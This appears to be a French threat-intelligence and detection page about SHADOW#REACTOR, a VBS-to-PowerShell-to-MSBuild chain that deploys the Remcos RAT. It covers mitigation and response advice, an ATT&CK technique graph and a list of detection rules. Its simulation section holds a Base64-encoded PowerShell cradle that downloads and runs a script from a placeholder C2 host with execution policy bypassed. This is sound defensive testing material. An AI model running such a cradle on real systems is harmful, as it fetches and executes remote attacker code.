SHADOW#REACTOR – MISE EN SCÈNE DE TEXTE UNIQUEMENT, .NET REACTOR, ET DÉPLOIEMENT EN MÉMOIRE DE REMCOS RAT
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
SHADOW#REACTOR est une chaîne de malwares Windows multi-étapes qui combine un lanceur VBS obfusqué, un téléchargeur basé sur PowerShell, des artefacts de mise en scène uniquement textuels, un chargeur protégé par .NET Reactor et une exécution MSBuild pour déployer finalement le trojan d’accès à distance (RAT) Remcos.
Investigation
Les chercheurs ont reconstruit le flux à partir d’un script VBS récupéré de l’infrastructure de l’attaquant, suivi de routines PowerShell qui réassemblent et décodent les charges textuelles mises en scène. La chaîne poursuit avec un chargement réflexif en mémoire d’une assembly .NET et un transfert final à MSBuild, qui déclenche l’exécution du RAT Remcos. Le rapport documente les composants encodés en texte, la logique de décryptage et les méthodes de persistance utilisées pour maintenir l’accès.
Atténuation
Augmentez la couverture de surveillance pour les hôtes de script et les interpréteurs, et empêchez l’exécution VBS/PowerShell à partir de chemins modifiables par l’utilisateur lorsque c’est faisable. Ajoutez des détections pour le trafic HTTP sortant suspect vers l’infrastructure identifiée, l’utilisation abusive de MSBuild, et le chargement réflexif d’assemblage .NET. Surveillez les modèles de persistance courants, y compris les modifications de la clé Run et les entrées de démarrage basées sur des raccourcis.
Réponse
Si l’activité SHADOW#REACTOR est confirmée, isolez le point terminal et tuez toute la chaîne de processus (wscript.exe → powershell.exe → msbuild.exe). Supprimez tous les fichiers textuels mis en scène et les artefacts de registre associés, et remédiez en supprimant les binaires Remcos et les blobs de configuration associés. Suivez par un examen médico-légal approfondi pour définir l’étendue de la compromission supplémentaire et garantir l’éradication complète.
« graph TB %% Class Definitions Section classDef technique fill:#ffe699 classDef builtin fill:#cccccc classDef malware fill:#ff9999 %% Node definitions tech_user_execution[« <b>Technique</b> – <b>T1204.002 User Execution: Malicious File</b><br/><b>Description</b>: Victim runs a malicious file that launches code. »] class tech_user_execution technique tool_wscript[« <b>Tool</b> – <b>Name</b>: wscript.exe<br/><b>Description</b>: Windows Script Host used to execute VBScript files. »] class tool_wscript builtin tech_vbscript_interp[« <b>Technique</b> – <b>T1059.005 Command and Scripting Interpreter: Visual Basic</b><br/><b>Description</b>: Executes Visual Basic scripts on the host system. »] class tech_vbscript_interp technique tech_powershell_interp[« <b>Technique</b> – <b>T1059.001 Command and Scripting Interpreter: PowerShell</b><br/><b>Description</b>: Runs PowerShell commands and scripts. »] class tech_powershell_interp technique tech_http_comm[« <b>Technique</b> – <b>T1071.001 Application Layer Protocol: Web Protocols</b><br/><b>Description</b>: Uses HTTP/HTTPS to download payload fragments from remote servers. »] class tech_http_comm technique tech_obfuscation[« <b>Technique</b> – <b>T1027 Obfuscated Files or Information</b><br/><b>Description</b>: Payload is encoded with Base64, XOR and protected by .NET Reactor. »] class tech_obfuscation technique tech_reflective_loading[« <b>Technique</b> – <b>T1620 Reflective Code Loading</b> / <b>T1574.014 Hijack Execution Flow: AppDomainManager</b><br/><b>Description</b>: Loads a .NET assembly in memory via AppDomainManager hijacking. »] class tech_reflective_loading technique tool_msbuild[« <b>Tool</b> – <b>Name</b>: MSBuild.exe<br/><b>Description</b>: Trusted developer utility abused as a LOLBin to launch the final stage. »] class tool_msbuild builtin malware_remcos[« <b>Malware</b> – <b>Name</b>: Remcos RAT<br/><b>Description</b>: Remote access trojan used for command and control. »] class malware_remcos malware tech_shortcut_mod[« <b>Technique</b> – <b>T1547.009 Shortcut Modification</b><br/><b>Description</b>: Creates a LNK shortcut in the Startup folder to achieve persistence. »] class tech_shortcut_mod technique %% Connections showing attack flow tech_user_execution u002du002d>|executes via| tool_wscript tool_wscript u002du002d>|runs| tech_vbscript_interp tech_vbscript_interp u002du002d>|invokes| tech_powershell_interp tech_powershell_interp u002du002d>|downloads fragments via| tech_http_comm tech_http_comm u002du002d>|reconstructs payload| tech_obfuscation tech_obfuscation u002du002d>|loads in memory via| tech_reflective_loading tech_reflective_loading u002du002d>|uses| tool_msbuild tool_msbuild u002du002d>|launches| malware_remcos malware_remcos u002du002d>|may create| tech_shortcut_mod «
Flux d’attaque
Détections
LOLBAS WScript / CScript (via process_creation)
Voir
Chaînes PowerShell suspectes (via powershell)
Voir
Binaires / Scripts suspects en emplacement d’autodémarrage (via file_event)
Voir
Fichiers suspects dans le Profil Utilisateur Public (via file_event)
Voir
Exécution suspecte à partir du Profil Utilisateur Public (via process_creation)
Voir
Appel de Méthodes .NET suspectes depuis Powershell (via powershell)
Voir
IOC (HashSha256) pour détecter : SHADOW#REACTOR – MISE EN SCÈNE UNIQUEMENT TEXTUELLE, .NET REACTOR, ET DÉPLOIEMENT IN-MÉMOIRE DU RAT REMCOS
Voir
IOC (SourceIP) pour détecter : SHADOW#REACTOR – MISE EN SCÈNE UNIQUEMENT TEXTUELLE, .NET REACTOR, ET DÉPLOIEMENT IN-MÉMOIRE DU RAT REMCOS
Voir
IOC (DestinationIP) pour détecter : SHADOW#REACTOR – MISE EN SCÈNE UNIQUEMENT TEXTUELLE, .NET REACTOR, ET DÉPLOIEMENT IN-MÉMOIRE DU RAT REMCOS
Voir
Détection de la Chaîne d’Infection SHADOW#REACTOR [Création de Processus Windows]
Voir
Détection de contournement de la politique d’exécution et de commandes PowerShell obfusquées [Windows Powershell]
Voir
Exécution de Simulation
Prérequis : La Vérification Préliminaire de la Télémetrie & Ligne de Base doit avoir été réussie.
Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémetrie exacte attendue par la logique de détection.
-
Narration de l’Attaque & Commandes :
Un attaquant avec des droits de mouvement latéral limités souhaite exécuter une charge utile distante sur un hôte Windows compromis tout en évitant les défenses typiques de blocage de script. Il utilise PowerShell avec-ExecutionPolicy Bypasspour ignorer les restrictions de politique d’exécution. La charge utile malveillante est obfusquée en tant que chaîne encodée en Base64 qui, lorsqu’elle est décodée, crée unSystem.Net.WebClientobjet pour télécharger un script PowerShell d’un serveur C2 et l’invoquer. Cette combinaison satisfait tous les trois critères de détection (Contournement de la politique d'exécution,FromBase64String,System.Net.WebClient). -
Script de Test de Régression :
#-------------------------------------------- # Exécution PowerShell malveillante simulée #-------------------------------------------- # 1. Créez un simple script distant (pour la démo uniquement) $remoteScript = 'Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://{C2_HOST}/payload.ps1")' # 2. Encodez le script en Base64 $bytes = [System.Text.Encoding]::Unicode.GetBytes($remoteScript) $b64 = [Convert]::ToBase64String($bytes) # 3. Exécutez avec Bypass de la politique d'exécution et FromBase64String PowerShell -ExecutionPolicy Bypass -Command " $decoded = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$b64')); Invoke-Expression $decoded " -
Commandes de Nettoyage :
# Supprimez toutes les charges utiles téléchargées et arrêtez les processus PowerShell persistants Get-Process -Name powershell | Where-Object {$_.StartInfo.Arguments -match 'ExecutionPolicy Bypass'} | Stop-Process -Force Remove-Item -Path "C:Temppayload.ps1" -ErrorAction SilentlyContinue